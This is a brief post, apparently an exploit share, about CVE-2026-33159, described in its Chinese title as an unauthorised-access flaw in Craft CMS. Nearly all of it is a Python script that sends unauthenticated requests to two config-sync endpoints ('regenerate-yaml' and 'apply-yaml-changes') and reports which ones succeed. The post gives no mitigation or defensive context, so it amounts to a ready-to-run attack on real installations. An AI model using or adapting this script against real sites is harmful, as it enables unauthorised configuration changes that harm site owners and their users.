CVE-2026-33159 Craft CMS未授权访问漏洞

import requests # Target URL (Example, actual endpoint may vary based on installation) target_url = "http://target-craft-cms.com" # Vulnerable endpoints for Config Sync actions based on the description endpoints = [ "/actions/config-sync/regenerate-yaml", "/actions/config-sync/apply-yaml-changes" ] # Exploit function def exploit(): for endpoint in endpoints: try: # Send request without authentication (Guest user) response = requests.get(f"{target_url}{endpoint}") # Check if the action was successful (Status 200 usually indicates access) if response.status_code == 200: print(f"[+] Successfully triggered action: {endpoint}") print(f"[+] Response: {response.text[:100]}") else: print(f"[-] Failed to trigger action: {endpoint}, Status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()